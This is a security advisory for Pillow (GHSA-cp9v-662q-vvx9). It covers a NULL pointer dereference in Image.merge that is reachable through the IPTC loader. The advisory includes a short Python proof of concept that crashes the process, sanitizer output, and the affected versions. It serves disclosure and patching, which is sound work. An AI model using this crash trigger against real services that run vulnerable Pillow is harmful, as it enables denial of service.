GHSA-cp9v-662q-vvx9

Suggest an improvement
Source
https://github.com/advisories/GHSA-cp9v-662q-vvx9
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-cp9v-662q-vvx9/GHSA-cp9v-662q-vvx9.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-cp9v-662q-vvx9
Aliases
Published
2026-10-21T20:30:25Z
Modified
2026-10-21T20:45:04Z
Severity
  • 8.7 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N CVSS Calculator
Summary
Pillow: NULL pointer dereference in Image.merge via an unvalidated band 0
Details

Summary

Image.merge() checks the mode of every input band except band 0. If band 0 is a single-band I or F image, the native merge routine reads a pixel pointer that is NULL for those modes and the process crashes. The IPTC plugin reaches this from a plain Image.open() followed by a load, and IPTC has no magic-byte prefilter, so a crafted file with no recognizable header can drive it.

Details

The validation loop skips band 0:

  • src/PIL/Image.py:3795 iterates for band in bands[1:] and checks mode and size only for those.

For an I or F image the 8-bit plane image8 is NULL (only image32 is set). ImagingMerge dereferences bands[0]->image8[y] for the multi-band output modes:

  • src/libImaging/Bands.c:302, :311, :321

The IPTC loader builds the band list from an attacker-typed sub-image and passes it to merge with the sub-image at index 0:

  • src/PIL/IptcImagePlugin.py:156-160
  • src/PIL/IptcImagePlugin.py:169 registers the opener with no accept function.

PoC

from PIL import Image

# Band 0 is a single-band "I" image: its image8 plane is NULL. merge() validates only
# bands[1:], so the native ImagingMerge dereferences the NULL plane for band 0.
band0 = Image.new("I", (4, 4))
Image.merge("RGB", [band0, Image.new("L", (4, 4)), Image.new("L", (4, 4))])

Run it:

$ python 02_poc.py
Segmentation fault (core dumped)

Observed on a source build of commit 3e2ab96.

Under AddressSanitizer:

==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000
    #0 ImagingMerge   src/libImaging/Bands.c:311
    #1 _merge         src/_imaging.c:2492
SUMMARY: AddressSanitizer: SEGV src/libImaging/Bands.c:311 in ImagingMerge

The null address confirms the dereference of the missing image8 plane for band 0.

Impact

NULL pointer dereference in a C extension. A crafted file opened and loaded through the IPTC path crashes the worker process. This is a hard crash, not a Python exception an application can catch.

Database specific
{
    "cwe_ids":  [
        "CWE-476"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-10-21T20:30:25Z",
    "nvd_published_at":  "2026-10-19T22:17:08Z",
    "severity":  "HIGH"
}
References

Affected packages

PyPI / pillow

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
12.0.0
Fixed
13.0.0

Affected versions

12.*
12.0.0
12.1.0
12.1.1
12.2.0
12.3.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-cp9v-662q-vvx9/GHSA-cp9v-662q-vvx9.json"